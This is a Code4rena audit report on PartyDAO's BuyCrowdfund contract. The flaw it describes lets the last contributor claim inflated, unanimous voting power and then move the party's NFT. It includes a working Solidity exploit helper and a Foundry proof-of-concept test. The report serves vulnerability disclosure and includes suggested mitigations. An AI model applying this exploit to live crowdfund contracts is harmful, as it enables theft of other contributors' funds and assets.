Last contributor in BuyCrowdfund can claim too much voting power

[code423n4]

Lines of code

https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L122
https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L131
https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L28-L30
https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernance.sol#L1043-L1046

Vulnerability details

Impact

If maximumPrice is not set (set to zero) then the contributor who calls BuyCrowdfund.buy can get unanimous voting power in the party. This allows him to execute proposals on the party without executionDelay and avoid getting vetoed by hosts. I particular, he might push through a proposal to send the precious NFT to the attacker address.

Even if maximumPrice is set, then the attacker can still unfairly get maximumPrice - NFTPrice of voting power.

Proof of Concept

We will use this helper contract:

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8;

import "./TestERC721Vault.sol";
import "../DummyERC721.sol";

contract Exploit {
    function exploit(address payable attacker, TestERC721Vault erc721Vault, uint256 tokenId) public payable {
        // buy the NFT for 2 ETH and send it back to the crowdfund contract
        erc721Vault.claim{value: 2 ether}(tokenId);
        DummyERC721(erc721Vault.token()).safeTransferFrom(address(this), msg.sender, tokenId, "");

        // send the remaining ETH to the attacker
        attacker.transfer(address(this).balance);
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

Add this test case to BuyCrowdfund.t.sol:

    function testTooLargeVotingPower() public {
        // Let's assume that this NFT can be bought from the vault for 2 ETH
        uint256 tokenId = erc721Vault.mint();
        
        // create BuyCrowdfund with defaultMaxPrice = 0
        BuyCrowdfund pb = _createCrowdfund(tokenId, 0);

        // Let's name some numbers
        uint256 honestContribution = 1 ether;
        uint256 attackerContribution = 10e5 ether;
        uint256 totalVotingPower = honestContribution + attackerContribution;

        vm.deal(contributor, honestContribution);
        vm.prank(contributor);
        pb.contribute{ value: contributor.balance }(contributor, "");

        // start the exploit
        vm.startPrank(attacker);
        // the only initial capital that attacker needs is NFTPrice - previousContributions
        // everything happens in a single transaction so remaining ETH for the exploit can be flash loaned
        vm.deal(attacker, attackerContribution);
        // attacker contributes this ridiculously large amount of ETH to the crowdfund
        pb.contribute{ value: attacker.balance }(attacker, "");
        // deploy the contract for buying the NFT for NFTPrice and sending the remaining funds back to the attacker
        Exploit exploitHelper = new Exploit();

        vm.expectEmit(false, false, false, true);
        emit MockPartyFactoryCreateParty(
            address(pb),
            address(pb),
            // we're expecting totalVotingPower to be: (10e5 + 1) * 1e18
            _createExpectedPartyOptions(totalVotingPower),
            _toERC721Array(erc721Vault.token()),
            _toUint256Array(tokenId)
        );
         
        Party party_ = pb.buy(
            payable(address(exploitHelper)),
            // use up all the crowdfunded ETH: (10e5 + 1) * 1e18
            uint96(address(pb).balance),
            abi.encodeCall(exploitHelper.exploit, (attacker, erc721Vault, tokenId)),
            defaultGovernanceOpts
        );
        assertEq(address(party), address(party_));
        vm.stopPrank();

        vm.expectEmit(false, false, false, true);
        emit MockMint(
            address(pb),
            attacker,
            // make sure that the attacker has ridiculously large voting power
            attackerContribution,
            attacker
        );
        pb.burn(attacker);

        vm.expectEmit(false, false, false, true);
        emit MockMint(
            address(pb),
            contributor,
            // make sure that the honest contributor has much smaller voting power
            honestContribution,
            contributor
        );
        pb.burn(contributor);

        // make sure that attacker's voting power is now "unanimous"
        assertEq(_isUnanimousVotes(uint96(attackerContribution), uint96(totalVotingPower)), true);

        // make sure the attacker got his ETH back and can pay back the flash loan
        assertEq(attacker.balance, attackerContribution - 1 ether);
    }

Apart from adding the above function, set uint96 defaultMaxPrice = 0; and copy _isUnanimousVotes function from PartyGovernance.sol. attacker and contributor are just random payable addresses.

The main idea here is that we can lie to BuyCrowdfund.buy about how much ETH do we need to buy the NFT and we can make this inflated amount still count towards voting power.

Tools Used

Foundry

Recommended Mitigation Steps

I have two (admittedly imperfect) ideas for mitigation:

1. Add onlyHost modifier to BuyCrowdfund.buy just like in CollectionBuyCrowdfund
2. Alternatively, remove the option to set the maximumPrice to zero (no max price) and make sure that users are warned about potential consequences of setting maximumPrice too much above the expected price of NFT.

[merklejerk]

Duplicate of #17

[HardlyDifficult]

See dupe for context. Merging with #294

[HardlyDifficult]

Dupe of #213